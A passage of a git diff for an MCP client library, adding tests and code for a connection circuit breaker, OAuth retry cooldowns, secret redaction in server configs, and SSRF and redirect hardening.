+    expect(spyB).toHaveBeenCalledTimes(0);
+
+    await userA.disconnect();
+    await userB.disconnect();
+  });
+
+  it('clearCooldown after user retry unblocks all users', async () => {
+    const deadUrl = 'http://127.0.0.1:1/mcp';
+
+    const userA = new MCPConnection({
+      serverName: 'shared-dead-clear',
+      serverConfig: { url: deadUrl, type: 'streamable-http', initTimeout: 1000 } as never,
+      userId: 'user-A',
+    });
+    for (let i = 0; i < mcpConfig.CB_MAX_FAILED_ROUNDS; i++) {
+      try {
+        await userA.connect();
+      } catch {
+        // expected
+      }
+    }
+
+    const userB = new MCPConnection({
+      serverName: 'shared-dead-clear',
+      serverConfig: { url: deadUrl, type: 'streamable-http', initTimeout: 1000 } as never,
+      userId: 'user-B',
+    });
+    try {
+      await userB.connect();
+    } catch (e) {
+      expect((e as Error).message).toContain('Circuit breaker is open');
+    }
+
+    MCPConnection.clearCooldown('shared-dead-clear');
+
+    const spyB = jest.spyOn(userB.client, 'connect');
+    try {
+      await userB.connect();
+    } catch {
+      // expected — server is still dead
+    }
+
+    expect(spyB).toHaveBeenCalledTimes(1);
+
+    await userA.disconnect();
+    await userB.disconnect();
+  });
+});
+
+/* ------------------------------------------------------------------ */
+/*  Fix #5b — disconnect(false) preserves cycle tracking               */
+/* ------------------------------------------------------------------ */
+describe('Fix #5b: disconnect(false) preserves cycle tracking', () => {
+  it('connect() passes false to disconnect, which calls recordCycle()', async () => {
+    const srv = await startMCPServer();
+    const conn = createConnection('wipe', srv.url);
+    const spy = jest.spyOn(conn, 'disconnect');
+
+    await conn.connect();
+    expect(spy).toHaveBeenCalledWith(false);
+
+    // eslint-disable-next-line @typescript-eslint/no-explicit-any
+    const cb = (MCPConnection as any).circuitBreakers.get('wipe');
+    expect(cb).toBeDefined();
+    expect(cb.cycleCount).toBeGreaterThan(0);
+
+    await teardownConnection(conn);
+    await srv.close();
+  });
+});
+
+/* ------------------------------------------------------------------ */
+/*  Fix #6 — OAuth failure uses cooldown-based retry                   */
+/* ------------------------------------------------------------------ */
+describe('Fix #6: OAuth failure uses cooldown-based retry', () => {
+  beforeEach(() => jest.useFakeTimers());
+  afterEach(() => jest.useRealTimers());
+
+  it('isFailed expires after first cooldown of 5 min', () => {
+    jest.setSystemTime(Date.now());
+    const tracker = new OAuthReconnectionTracker();
+    tracker.setFailed('u1', 'srv');
+
+    expect(tracker.isFailed('u1', 'srv')).toBe(true);
+    jest.advanceTimersByTime(5 * 60 * 1000);
+    expect(tracker.isFailed('u1', 'srv')).toBe(false);
+  });
+
+  it('progressive cooldown: 5m, 10m, 20m, 30m (capped)', () => {
+    jest.setSystemTime(Date.now());
+    const tracker = new OAuthReconnectionTracker();
+
+    tracker.setFailed('u1', 'srv');
+    jest.advanceTimersByTime(5 * 60 * 1000);
+    expect(tracker.isFailed('u1', 'srv')).toBe(false);
+
+    tracker.setFailed('u1', 'srv');
+    jest.advanceTimersByTime(10 * 60 * 1000);
+    expect(tracker.isFailed('u1', 'srv')).toBe(false);
+
+    tracker.setFailed('u1', 'srv');
+    jest.advanceTimersByTime(20 * 60 * 1000);
+    expect(tracker.isFailed('u1', 'srv')).toBe(false);
+
+    tracker.setFailed('u1', 'srv');
+    jest.advanceTimersByTime(29 * 60 * 1000);
+    expect(tracker.isFailed('u1', 'srv')).toBe(true);
+    jest.advanceTimersByTime(1 * 60 * 1000);
+    expect(tracker.isFailed('u1', 'srv')).toBe(false);
+  });
+
+  it('removeFailed resets attempt count so next failure starts at 5m', () => {
+    jest.setSystemTime(Date.now());
+    const tracker = new OAuthReconnectionTracker();
+
+    tracker.setFailed('u1', 'srv');
+    tracker.setFailed('u1', 'srv');
+    tracker.setFailed('u1', 'srv');
+    tracker.removeFailed('u1', 'srv');
+
+    tracker.setFailed('u1', 'srv');
+    jest.advanceTimersByTime(5 * 60 * 1000);
+    expect(tracker.isFailed('u1', 'srv')).toBe(false);
+  });
+});
+
+/* ------------------------------------------------------------------ */
+/*  Integration: Circuit breaker caps rapid cycling with real transport */
+/* ------------------------------------------------------------------ */
+describe('Cascade: Circuit breaker caps rapid cycling', () => {
+  it('breaker trips before double CB_MAX_CYCLES complete against a live server', async () => {
+    const srv = await startMCPServer();
+    const conn = createConnection('cascade', srv.url);
+    const spy = jest.spyOn(conn.client, 'connect');
+
+    let completedCycles = 0;
+    const maxAttempts = mcpConfig.CB_MAX_CYCLES * 2;
+    for (let i = 0; i < maxAttempts; i++) {
+      try {
+        await conn.connect();
+        await teardownConnection(conn);
+        // eslint-disable-next-line @typescript-eslint/no-explicit-any
+        (conn as any).shouldStopReconnecting = false;
+        completedCycles++;
+      } catch (e) {
+        if ((e as Error).message.includes('Circuit breaker is open')) {
+          break;
+        }
+        throw e;
+      }
+    }
+
+    expect(completedCycles).toBeLessThanOrEqual(mcpConfig.CB_MAX_CYCLES);
+    expect(spy.mock.calls.length).toBeLessThanOrEqual(mcpConfig.CB_MAX_CYCLES);
+
+    await srv.close();
+  });
+
+  it('breaker bounds failures against a killed server', async () => {
+    const srv = await startMCPServer();
+    const conn = createConnection('cascade-die', srv.url, 2000);
+
+    await conn.connect();
+    await teardownConnection(conn);
+    // eslint-disable-next-line @typescript-eslint/no-explicit-any
+    (conn as any).shouldStopReconnecting = false;
+    await srv.close();
+
+    let breakerTripped = false;
+    for (let i = 0; i < 10; i++) {
+      try {
+        await conn.connect();
+      } catch (e) {
+        if ((e as Error).message.includes('Circuit breaker is open')) {
+          breakerTripped = true;
+          break;
+        }
+      }
+    }
+
+    expect(breakerTripped).toBe(true);
+  }, 30_000);
+});
+
+/* ------------------------------------------------------------------ */
+/*  OAuth: cycle recovery after successful OAuth reconnect             */
+/* ------------------------------------------------------------------ */
+describe('OAuth: cycle budget recovery after successful OAuth', () => {
+  let oauthServer: OAuthTestServer;
+
+  beforeEach(async () => {
+    oauthServer = await createOAuthMCPServer({ tokenTTLMs: 60000 });
+  });
+
+  afterEach(async () => {
+    await oauthServer.close();
+  });
+
+  async function exchangeCodeForToken(serverUrl: string): Promise<string> {
+    const authRes = await fetch(`${serverUrl}authorize?redirect_uri=http://localhost&state=test`, {
+      redirect: 'manual',
+    });
+    const location = authRes.headers.get('location') ?? '';
+    const code = new URL(location).searchParams.get('code') ?? '';
+    const tokenRes = await fetch(`${serverUrl}token`, {
+      method: 'POST',
+      headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
+      body: `grant_type=authorization_code&code=${code}`,
+    });
+    const data = (await tokenRes.json()) as { access_token: string };
+    return data.access_token;
+  }
+
+  it('should decrement cycle count after successful OAuth recovery', async () => {
+    const serverName = 'oauth-cycle-test';
+    MCPConnection.clearCooldown(serverName);
+
+    const conn = new MCPConnection({
+      serverName,
+      serverConfig: { type: 'streamable-http', url: oauthServer.url, initTimeout: 10000 },
+      userId: 'user-1',
+    });
+
+    // When oauthRequired fires, get a token and emit oauthHandled
+    // This triggers the oauthRecovery path inside connectClient
+    conn.on('oauthRequired', async () => {
+      const accessToken = await exchangeCodeForToken(oauthServer.url);
+      conn.setOAuthTokens({
+        access_token: accessToken,
+        token_type: 'Bearer',
+      } as MCPOAuthTokens);
+      conn.emit('oauthHandled');
+    });
+
+    // connect() → 401 → oauthRequired → oauthHandled → connectClient returns
+    // connect() sees not connected → throws "Connection not established"
+    await expect(conn.connect()).rejects.toThrow('Connection not established');
+
+    // eslint-disable-next-line @typescript-eslint/no-explicit-any
+    const cb = (MCPConnection as any).circuitBreakers.get(serverName);
+    const cyclesBeforeRetry = cb.cycleCount;
+
+    // Retry — should succeed and decrement cycle count via oauthRecovery
+    await conn.connect();
+    expect(await conn.isConnected()).toBe(true);
+
+    const cyclesAfterSuccess = cb.cycleCount;
+    // The retry adds +1 cycle (disconnect(false)) then -1 (oauthRecovery decrement)
+    // So cyclesAfterSuccess should equal cyclesBeforeRetry, not cyclesBeforeRetry + 1
+    expect(cyclesAfterSuccess).toBe(cyclesBeforeRetry);
+
+    await teardownConnection(conn);
+  });
+
+  it('should allow more OAuth reconnects than non-OAuth before breaker trips', async () => {
+    const serverName = 'oauth-budget';
+    MCPConnection.clearCooldown(serverName);
+
+    // Each OAuth flow: connect (+1) → 401 → oauthHandled → retry connect (+1) → success (-1) = net 1
+    // Without the decrement it would be net 2 per flow, tripping the breaker after ~2 users
+    let successfulFlows = 0;
+    for (let i = 0; i < 10; i++) {
+      const conn = new MCPConnection({
+        serverName,
+        serverConfig: { type: 'streamable-http', url: oauthServer.url, initTimeout: 10000 },
+        userId: `user-${i}`,
+      });
+
+      conn.on('oauthRequired', async () => {
+        const accessToken = await exchangeCodeForToken(oauthServer.url);
+        conn.setOAuthTokens({
+          access_token: accessToken,
+          token_type: 'Bearer',
+        } as MCPOAuthTokens);
+        conn.emit('oauthHandled');
+      });
+
+      try {
+        // First connect: 401 → oauthHandled → returns without connection
+        await conn.connect().catch(() => {});
+        // Retry: succeeds with token, decrements cycle
+        await conn.connect();
+        successfulFlows++;
+        await teardownConnection(conn);
+      } catch (e) {
+        conn.removeAllListeners();
+        if ((e as Error).message.includes('Circuit breaker is open')) {
+          break;
+        }
+      }
+    }
+
+    // With the oauthRecovery decrement, each flow is net ~1 cycle instead of ~2,
+    // so we should get more successful flows before the breaker trips
+    expect(successfulFlows).toBeGreaterThanOrEqual(3);
+  });
+
+  it('should not decrement cycle count when OAuth fails', async () => {
+    const serverName = 'oauth-failed-no-decrement';
+    MCPConnection.clearCooldown(serverName);
+
+    const conn = new MCPConnection({
+      serverName,
+      serverConfig: { type: 'streamable-http', url: oauthServer.url, initTimeout: 10000 },
+      userId: 'user-1',
+    });
+
+    conn.on('oauthRequired', () => {
+      conn.emit('oauthFailed', new Error('user denied'));
+    });
+
+    await expect(conn.connect()).rejects.toThrow();
+
+    // eslint-disable-next-line @typescript-eslint/no-explicit-any
+    const cb = (MCPConnection as any).circuitBreakers.get(serverName);
+    const cyclesAfterFailure = cb.cycleCount;
+
+    // connect() recorded +1 cycle, oauthFailed should NOT decrement
+    expect(cyclesAfterFailure).toBeGreaterThanOrEqual(1);
+
+    conn.removeAllListeners();
+  });
+});
+
+/* ------------------------------------------------------------------ */
+/*  Sanity: Real transport works end-to-end                            */
+/* ------------------------------------------------------------------ */
+describe('Sanity: Real MCP SDK transport works correctly', () => {
+  it('connects, lists tools, and disconnects cleanly', async () => {
+    const srv = await startMCPServer();
+    const conn = createConnection('sanity', srv.url);
+
+    await conn.connect();
+    expect(await conn.isConnected()).toBe(true);
+
+    const tools = await conn.fetchTools();
+    expect(tools).toEqual(expect.arrayContaining([expect.objectContaining({ name: 'echo' })]));
+
+    await teardownConnection(conn);
+    await srv.close();
+  });
+});
diff --git a/packages/api/src/mcp/__tests__/utils.test.ts b/packages/api/src/mcp/__tests__/utils.test.ts
index 716a230ebe..e4fb31bdad 100644
--- a/packages/api/src/mcp/__tests__/utils.test.ts
+++ b/packages/api/src/mcp/__tests__/utils.test.ts
@@ -1,4 +1,5 @@
-import { normalizeServerName } from '../utils';
+import { normalizeServerName, redactServerSecrets, redactAllServerSecrets } from '~/mcp/utils';
+import type { ParsedServerConfig } from '~/mcp/types';
 
 describe('normalizeServerName', () => {
   it('should not modify server names that already match the pattern', () => {
@@ -26,3 +27,201 @@ describe('normalizeServerName', () => {
     expect(result).toMatch(/^[a-zA-Z0-9_.-]+$/);
   });
 });
+
+describe('redactServerSecrets', () => {
+  it('should strip apiKey.key from admin-sourced keys', () => {
+    const config: ParsedServerConfig = {
+      type: 'sse',
+      url: 'https://example.com/mcp',
+      apiKey: {
+        source: 'admin',
+        authorization_type: 'bearer',
+        key: 'super-secret-api-key',
+      },
+    };
+    const redacted = redactServerSecrets(config);
+    expect(redacted.apiKey?.key).toBeUndefined();
+    expect(redacted.apiKey?.source).toBe('admin');
+    expect(redacted.apiKey?.authorization_type).toBe('bearer');
+  });
+
+  it('should strip oauth.client_secret', () => {
+    const config: ParsedServerConfig = {
+      type: 'sse',
+      url: 'https://example.com/mcp',
+      oauth: {
+        client_id: 'my-client',
+        client_secret: 'super-secret-oauth',
+        scope: 'read',
+      },
+    };
+    const redacted = redactServerSecrets(config);
+    expect(redacted.oauth?.client_secret).toBeUndefined();
+    expect(redacted.oauth?.client_id).toBe('my-client');
+    expect(redacted.oauth?.scope).toBe('read');
+  });
+
+  it('should strip both apiKey.key and oauth.client_secret simultaneously', () => {
+    const config: ParsedServerConfig = {
+      type: 'sse',
+      url: 'https://example.com/mcp',
+      apiKey: {
+        source: 'admin',
+        authorization_type: 'custom',
+        custom_header: 'X-API-Key',
+        key: 'secret-key',
+      },
+      oauth: {
+        client_id: 'cid',
+        client_secret: 'csecret',
+      },
+    };
+    const redacted = redactServerSecrets(config);
+    expect(redacted.apiKey?.key).toBeUndefined();
+    expect(redacted.apiKey?.custom_header).toBe('X-API-Key');
+    expect(redacted.oauth?.client_secret).toBeUndefined();
+    expect(redacted.oauth?.client_id).toBe('cid');
+  });
+
+  it('should exclude headers from SSE configs', () => {
+    const config: ParsedServerConfig = {
+      type: 'sse',
+      url: 'https://example.com/mcp',
+      title: 'SSE Server',
+    };
+    (config as ParsedServerConfig & { headers: Record<string, string> }).headers = {
+      Authorization: 'Bearer admin-token-123',
+      'X-Custom': 'safe-value',
+    };
+    const redacted = redactServerSecrets(config);
+    expect((redacted as Record<string, unknown>).headers).toBeUndefined();
+    expect(redacted.title).toBe('SSE Server');
+  });
+
+  it('should exclude env from stdio configs', () => {
+    const config: ParsedServerConfig = {
+      type: 'stdio',
+      command: 'node',
+      args: ['server.js'],
+      env: { DATABASE_URL: 'postgres://admin:password@localhost/db', PATH: '/usr/bin' },
+    };
+    const redacted = redactServerSecrets(config);
+    expect((redacted as Record<string, unknown>).env).toBeUndefined();
+    expect((redacted as Record<string, unknown>).command).toBeUndefined();
+    expect((redacted as Record<string, unknown>).args).toBeUndefined();
+  });
+
+  it('should exclude oauth_headers', () => {
+    const config: ParsedServerConfig = {
+      type: 'sse',
+      url: 'https://example.com/mcp',
+      oauth_headers: { Authorization: 'Bearer oauth-admin-token' },
+    };
+    const redacted = redactServerSecrets(config);
+    expect((redacted as Record<string, unknown>).oauth_headers).toBeUndefined();
+  });
+
+  it('should strip apiKey.key even for user-sourced keys', () => {
+    const config: ParsedServerConfig = {
+      type: 'sse',
+      url: 'https://example.com/mcp',
+      apiKey: { source: 'user', authorization_type: 'bearer', key: 'my-own-key' },
+    };
+    const redacted = redactServerSecrets(config);
+    expect(redacted.apiKey?.key).toBeUndefined();
+    expect(redacted.apiKey?.source).toBe('user');
+  });
+
+  it('should not mutate the original config', () => {
+    const config: ParsedServerConfig = {
+      type: 'sse',
+      url: 'https://example.com/mcp',
+      apiKey: { source: 'admin', authorization_type: 'bearer', key: 'secret' },
+      oauth: { client_id: 'cid', client_secret: 'csecret' },
+    };
+    redactServerSecrets(config);
+    expect(config.apiKey?.key).toBe('secret');
+    expect(config.oauth?.client_secret).toBe('csecret');
+  });
+
+  it('should preserve all safe metadata fields', () => {
+    const config: ParsedServerConfig = {
+      type: 'sse',
+      url: 'https://example.com/mcp',
+      title: 'My Server',
+      description: 'A test server',
+      iconPath: '/icons/test.png',
+      chatMenu: true,
+      requiresOAuth: false,
+      capabilities: '{"tools":{}}',
+      tools: 'tool_a, tool_b',
+      dbId: 'abc123',
+      updatedAt: 1700000000000,
+      consumeOnly: false,
+      inspectionFailed: false,
+      customUserVars: { API_KEY: { title: 'API Key', description: 'Your key' } },
+    };
+    const redacted = redactServerSecrets(config);
+    expect(redacted.title).toBe('My Server');
+    expect(redacted.description).toBe('A test server');
+    expect(redacted.iconPath).toBe('/icons/test.png');
+    expect(redacted.chatMenu).toBe(true);
+    expect(redacted.requiresOAuth).toBe(false);
+    expect(redacted.capabilities).toBe('{"tools":{}}');
+    expect(redacted.tools).toBe('tool_a, tool_b');
+    expect(redacted.dbId).toBe('abc123');
+    expect(redacted.updatedAt).toBe(1700000000000);
+    expect(redacted.consumeOnly).toBe(false);
+    expect(redacted.inspectionFailed).toBe(false);
+    expect(redacted.customUserVars).toEqual(config.customUserVars);
+  });
+
+  it('should pass URLs through unchanged', () => {
+    const config: ParsedServerConfig = {
+      type: 'sse',
+      url: 'https://mcp.example.com/sse?param=value',
+    };
+    const redacted = redactServerSecrets(config);
+    expect(redacted.url).toBe('https://mcp.example.com/sse?param=value');
+  });
+
+  it('should only include explicitly allowlisted fields', () => {
+    const config: ParsedServerConfig = {
+      type: 'sse',
+      url: 'https://example.com/mcp',
+      title: 'Test',
+    };
+    (config as Record<string, unknown>).someNewSensitiveField = 'leaked-value';
+    const redacted = redactServerSecrets(config);
+    expect((redacted as Record<string, unknown>).someNewSensitiveField).toBeUndefined();
+    expect(redacted.title).toBe('Test');
+  });
+});
+
+describe('redactAllServerSecrets', () => {
+  it('should redact secrets from all configs in the map', () => {
+    const configs: Record<string, ParsedServerConfig> = {
+      'server-a': {
+        type: 'sse',
+        url: 'https://a.com/mcp',
+        apiKey: { source: 'admin', authorization_type: 'bearer', key: 'key-a' },
+      },
+      'server-b': {
+        type: 'sse',
+        url: 'https://b.com/mcp',
+        oauth: { client_id: 'cid-b', client_secret: 'secret-b' },
+      },
+      'server-c': {
+        type: 'stdio',
+        command: 'node',
+        args: ['c.js'],
+      },
+    };
+    const redacted = redactAllServerSecrets(configs);
+    expect(redacted['server-a'].apiKey?.key).toBeUndefined();
+    expect(redacted['server-a'].apiKey?.source).toBe('admin');
+    expect(redacted['server-b'].oauth?.client_secret).toBeUndefined();
+    expect(redacted['server-b'].oauth?.client_id).toBe('cid-b');
+    expect((redacted['server-c'] as Record<string, unknown>).command).toBeUndefined();
+  });
+});
diff --git a/packages/api/src/mcp/connection.ts b/packages/api/src/mcp/connection.ts
index 88dbb19b6f..8dc857cd3b 100644
--- a/packages/api/src/mcp/connection.ts
+++ b/packages/api/src/mcp/connection.ts
@@ -11,17 +11,17 @@ import { WebSocketClientTransport } from '@modelcontextprotocol/sdk/client/webso
 import { ResourceListChangedNotificationSchema } from '@modelcontextprotocol/sdk/types.js';
 import { StreamableHTTPClientTransport } from '@modelcontextprotocol/sdk/client/streamableHttp.js';
 import type { Transport } from '@modelcontextprotocol/sdk/shared/transport.js';
-import type { JSONRPCMessage } from '@modelcontextprotocol/sdk/types.js';
 import type {
   RequestInit as UndiciRequestInit,
   RequestInfo as UndiciRequestInfo,
   Response as UndiciResponse,
 } from 'undici';
 import type { MCPOAuthTokens } from './oauth/types';
-import { withTimeout } from '~/utils/promise';
 import type * as t from './types';
 import { createSSRFSafeUndiciConnect, resolveHostnameSSRF } from '~/auth';
+import { runOutsideTracing } from '~/utils/tracing';
 import { sanitizeUrlForLogging } from './utils';
+import { withTimeout } from '~/utils/promise';
 import { mcpConfig } from './mcpConfig';
 
 type FetchLike = (url: string | URL, init?: RequestInit) => Promise<Response>;
@@ -71,6 +71,28 @@ const FIVE_MINUTES = 5 * 60 * 1000;
 const DEFAULT_TIMEOUT = 60000;
 /** SSE connections through proxies may need longer initial handshake time */
 const SSE_CONNECT_TIMEOUT = 120000;
+const DEFAULT_INIT_TIMEOUT = 30000;
+
+interface CircuitBreakerState {
+  cycleCount: number;
+  cycleWindowStart: number;
+  cooldownUntil: number;
+  failedRounds: number;
+  failedWindowStart: number;
+  failedBackoffUntil: number;
+}
+
+/** Default body timeout for Streamable HTTP GET SSE streams that idle between server pushes */
+const DEFAULT_SSE_READ_TIMEOUT = FIVE_MINUTES;
+
+/**
+ * Error message prefixes emitted by the MCP SDK's StreamableHTTPClientTransport
+ * (client/streamableHttp.ts → _handleSseStream / _scheduleReconnection).
+ * These are SDK-internal strings, not part of a public API. If the SDK changes
+ * them, suppression in setupTransportErrorHandlers will silently stop working.
+ */
+const SDK_SSE_STREAM_DISCONNECTED = 'SSE stream disconnected';
+const SDK_SSE_RECONNECT_FAILED = 'Failed to reconnect SSE stream';
 
 /**
  * Headers for SSE connections.
@@ -201,6 +223,21 @@ function extractSSEErrorMessage(error: unknown): {
     };
   }
 
+  /**
+   * "fetch failed" is a generic undici TypeError that occurs when an in-flight HTTP request
+   * is aborted (e.g. after an MCP protocol-level timeout fires). The transport itself is still
+   * functional — only the individual request was lost — so treat this as transient.
+   */
+  if (rawMessage === 'fetch failed') {
+    return {
+      message:
+        'fetch failed (request aborted, likely after a timeout — connection may still be usable)',
+      code,
+      isProxyHint: false,
+      isTransient: true,
+    };
+  }
+
   return {
     message: rawMessage,
     code,
@@ -229,15 +266,18 @@ export class MCPConnection extends EventEmitter {
   private isReconnecting = false;
   private isInitializing = false;
   private reconnectAttempts = 0;
+  private agents: Agent[] = [];
   private readonly userId?: string;
   private lastPingTime: number;
   private lastConnectionCheckAt: number = 0;
   private oauthTokens?: MCPOAuthTokens | null;
   private requestHeaders?: Record<string, string> | null;
   private oauthRequired = false;
+  private oauthRecovery = false;
   private readonly useSSRFProtection: boolean;
   iconPath?: string;
   timeout?: number;
+  sseReadTimeout?: number;
   url?: string;
 
   /**
@@ -246,6 +286,88 @@ export class MCPConnection extends EventEmitter {
    */
   public readonly createdAt: number;
 
+  private static circuitBreakers: Map<string, CircuitBreakerState> = new Map();
+
+  public static clearCooldown(serverName: string): void {
+    MCPConnection.circuitBreakers.delete(serverName);
+    logger.debug(`[MCP][${serverName}] Circuit breaker state cleared`);
+  }
+
+  private getCircuitBreaker(): CircuitBreakerState {
+    let cb = MCPConnection.circuitBreakers.get(this.serverName);
+    if (!cb) {
+      cb = {
+        cycleCount: 0,
+        cycleWindowStart: Date.now(),
+        cooldownUntil: 0,
+        failedRounds: 0,
+        failedWindowStart: Date.now(),
+        failedBackoffUntil: 0,
+      };
+      MCPConnection.circuitBreakers.set(this.serverName, cb);
+    }
+    return cb;
+  }
+
+  private isCircuitOpen(): boolean {
+    const cb = this.getCircuitBreaker();
+    const now = Date.now();
+    return now < cb.cooldownUntil || now < cb.failedBackoffUntil;
+  }
+
+  private recordCycle(): void {
+    const cb = this.getCircuitBreaker();
+    const now = Date.now();
+    if (now - cb.cycleWindowStart > mcpConfig.CB_CYCLE_WINDOW_MS) {
+      cb.cycleCount = 0;
+      cb.cycleWindowStart = now;
+    }
+    cb.cycleCount++;
+    if (cb.cycleCount >= mcpConfig.CB_MAX_CYCLES) {
+      cb.cooldownUntil = now + mcpConfig.CB_CYCLE_COOLDOWN_MS;
+      cb.cycleCount = 0;
+      cb.cycleWindowStart = now;
+      logger.warn(
+        `${this.getLogPrefix()} Circuit breaker: too many cycles, cooling down for ${mcpConfig.CB_CYCLE_COOLDOWN_MS}ms`,
+      );
+    }
+  }
+
+  private recordFailedRound(): void {
+    const cb = this.getCircuitBreaker();
+    const now = Date.now();
+    if (now - cb.failedWindowStart > mcpConfig.CB_FAILED_WINDOW_MS) {
+      cb.failedRounds = 0;
+      cb.failedWindowStart = now;
+    }
+    cb.failedRounds++;
+    if (cb.failedRounds >= mcpConfig.CB_MAX_FAILED_ROUNDS) {
+      const backoff = Math.min(
+        mcpConfig.CB_BASE_BACKOFF_MS *
+          Math.pow(2, cb.failedRounds - mcpConfig.CB_MAX_FAILED_ROUNDS),
+        mcpConfig.CB_MAX_BACKOFF_MS,
+      );
+      cb.failedBackoffUntil = now + backoff;
+      logger.warn(
+        `${this.getLogPrefix()} Circuit breaker: too many failures, backing off for ${backoff}ms`,
+      );
+    }
+  }
+
+  private resetFailedRounds(): void {
+    const cb = this.getCircuitBreaker();
+    cb.failedRounds = 0;
+    cb.failedWindowStart = Date.now();
+    cb.failedBackoffUntil = 0;
+  }
+
+  public static decrementCycleCount(serverName: string): void {
+    const cb = MCPConnection.circuitBreakers.get(serverName);
+    if (cb && cb.cycleCount > 0) {
+      cb.cycleCount--;
+    }
+  }
+
   setRequestHeaders(headers: Record<string, string> | null): void {
     if (!headers) {
       return;
@@ -269,6 +391,7 @@ export class MCPConnection extends EventEmitter {
     this.useSSRFProtection = params.useSSRFProtection === true;
     this.iconPath = params.serverConfig.iconPath;
     this.timeout = params.serverConfig.timeout;
+    this.sseReadTimeout = params.serverConfig.sseReadTimeout;
     this.lastPingTime = Date.now();
     this.createdAt = Date.now(); // Record creation timestamp for staleness detection
     if (params.oauthTokens) {
@@ -297,28 +420,45 @@ export class MCPConnection extends EventEmitter {
    * Factory function to create fetch functions without capturing the entire `this` context.
    * This helps prevent memory leaks by only passing necessary dependencies.
    *
-   * @param getHeaders Function to retrieve request headers
-   * @param timeout Timeout value for the agent (in milliseconds)
-   * @returns A fetch function that merges headers appropriately
+   * When `sseBodyTimeout` is provided, a second Agent is created with a much longer
+   * body timeout for GET requests (the Streamable HTTP SSE stream). POST requests
+   * continue using the normal timeout so they fail fast on real errors.
    */
   private createFetchFunction(
     getHeaders: () => Record<string, string> | null | undefined,
     timeout?: number,
+    sseBodyTimeout?: number,
   ): (input: UndiciRequestInfo, init?: UndiciRequestInit) => Promise<UndiciResponse> {
     const ssrfConnect = this.useSSRFProtection ? createSSRFSafeUndiciConnect() : undefined;
+    const connectOpts = ssrfConnect != null ? { connect: ssrfConnect } : {};
+    const effectiveTimeout = timeout || DEFAULT_TIMEOUT;
+    const postAgent = new Agent({
+      bodyTimeout: effectiveTimeout,
+      headersTimeout: effectiveTimeout,
+      ...connectOpts,
+    });
+    this.agents.push(postAgent);
+
+    let getAgent: Agent | undefined;
+    if (sseBodyTimeout != null) {
+      getAgent = new Agent({
+        bodyTimeout: sseBodyTimeout,
+        headersTimeout: effectiveTimeout,
+        ...connectOpts,
+      });
+      this.agents.push(getAgent);
+    }
+
     return function customFetch(
       input: UndiciRequestInfo,
       init?: UndiciRequestInit,
     ): Promise<UndiciResponse> {
+      const isGet = (init?.method ?? 'GET').toUpperCase() === 'GET';
+      const dispatcher = isGet && getAgent ? getAgent : postAgent;
+
       const requestHeaders = getHeaders();
-      const effectiveTimeout = timeout || DEFAULT_TIMEOUT;
-      const agent = new Agent({
-        bodyTimeout: effectiveTimeout,
-        headersTimeout: effectiveTimeout,
-        ...(ssrfConnect != null ? { connect: ssrfConnect } : {}),
-      });
       if (!requestHeaders) {
-        return undiciFetch(input, { ...init, dispatcher: agent });
+        return undiciFetch(input, { ...init, redirect: 'manual', dispatcher });
       }
 
       let initHeaders: Record<string, string> = {};
@@ -334,11 +474,12 @@ export class MCPConnection extends EventEmitter {
 
       return undiciFetch(input, {
         ...init,
+        redirect: 'manual',
         headers: {
           ...initHeaders,
           ...requestHeaders,
         },
-        dispatcher: agent,
+        dispatcher,
       });
     };
   }
@@ -379,21 +520,29 @@ export class MCPConnection extends EventEmitter {
             env: { ...getDefaultEnvironment(), ...(options.env ?? {}) },
           });
 
-        case 'websocket':
+        case 'websocket': {
           if (!isWebSocketOptions(options)) {
             throw new Error('Invalid options for websocket transport.');
           }
           this.url = options.url;
-          if (this.useSSRFProtection) {
-            const wsHostname = new URL(options.url).hostname;
-            const isSSRF = await resolveHostnameSSRF(wsHostname);
-            if (isSSRF) {
-              throw new Error(
-                `SSRF protection: WebSocket host "${wsHostname}" resolved to a private/reserved IP address`,
-              );
-            }
+          /**
+           * SSRF pre-check: always validate resolved IPs for WebSocket, regardless
+           * of allowlist configuration. Allowlisting a domain grants trust to that
+           * name, not to whatever IP it resolves to at runtime (DNS rebinding).
+           *
+           * Note: WebSocketClientTransport does its own DNS resolution, creating a
+           * small TOCTOU window. This is an SDK limitation — the transport accepts
+           * only a URL with no custom DNS lookup hook.
+           */
+          const wsHostname = new URL(options.url).hostname;
+          const isSSRF = await resolveHostnameSSRF(wsHostname);
+          if (isSSRF) {
+            throw new Error(
+              `SSRF protection: WebSocket host "${wsHostname}" resolved to a private/reserved IP address`,
+            );
           }
           return new WebSocketClientTransport(new URL(options.url));
+        }
 
         case 'sse': {
           if (!isSSEOptions(options)) {
@@ -418,6 +567,14 @@ export class MCPConnection extends EventEmitter {
            */
           const sseTimeout = this.timeout || SSE_CONNECT_TIMEOUT;
           const ssrfConnect = this.useSSRFProtection ? createSSRFSafeUndiciConnect() : undefined;
+          const sseAgent = new Agent({
+            bodyTimeout: sseTimeout,
+            headersTimeout: sseTimeout,
+            keepAliveTimeout: sseTimeout,
+            keepAliveMaxTimeout: sseTimeout * 2,
+            ...(ssrfConnect != null ? { connect: ssrfConnect } : {}),
+          });
+          this.agents.push(sseAgent);
           const transport = new SSEClientTransport(url, {
             requestInit: {
               /** User/OAuth headers override SSE defaults */
@@ -430,17 +587,10 @@ export class MCPConnection extends EventEmitter {
                 const fetchHeaders = new Headers(
                   Object.assign({}, SSE_REQUEST_HEADERS, init?.headers, headers),
                 );
-                const agent = new Agent({
-                  bodyTimeout: sseTimeout,
-                  headersTimeout: sseTimeout,
-                  /** Extended keep-alive for long-lived SSE connections */
-                  keepAliveTimeout: sseTimeout,
-                  keepAliveMaxTimeout: sseTimeout * 2,
-                  ...(ssrfConnect != null ? { connect: ssrfConnect } : {}),
-                });
                 return undiciFetch(url, {
                   ...init,
-                  dispatcher: agent,
+                  redirect: 'manual',
+                  dispatcher: sseAgent,
                   headers: fetchHeaders,
                 });
               },
@@ -456,10 +606,6 @@ export class MCPConnection extends EventEmitter {
             this.emit('connectionChange', 'disconnected');
           };
 
-          transport.onmessage = (message) => {
-            logger.info(`${this.getLogPrefix()} Message received: ${JSON.stringify(message)}`);
-          };
-
           this.setupTransportErrorHandlers(transport);
           return transport;
         }
@@ -489,6 +635,7 @@ export class MCPConnection extends EventEmitter {
             fetch: this.createFetchFunction(
               this.getRequestHeaders.bind(this),
               this.timeout,
+              this.sseReadTimeout || DEFAULT_SSE_READ_TIMEOUT,
             ) as unknown as FetchLike,
           });
 
@@ -497,10 +644,6 @@ export class MCPConnection extends EventEmitter {
             this.emit('connectionChange', 'disconnected');
           };
 
-          transport.onmessage = (message: JSONRPCMessage) => {
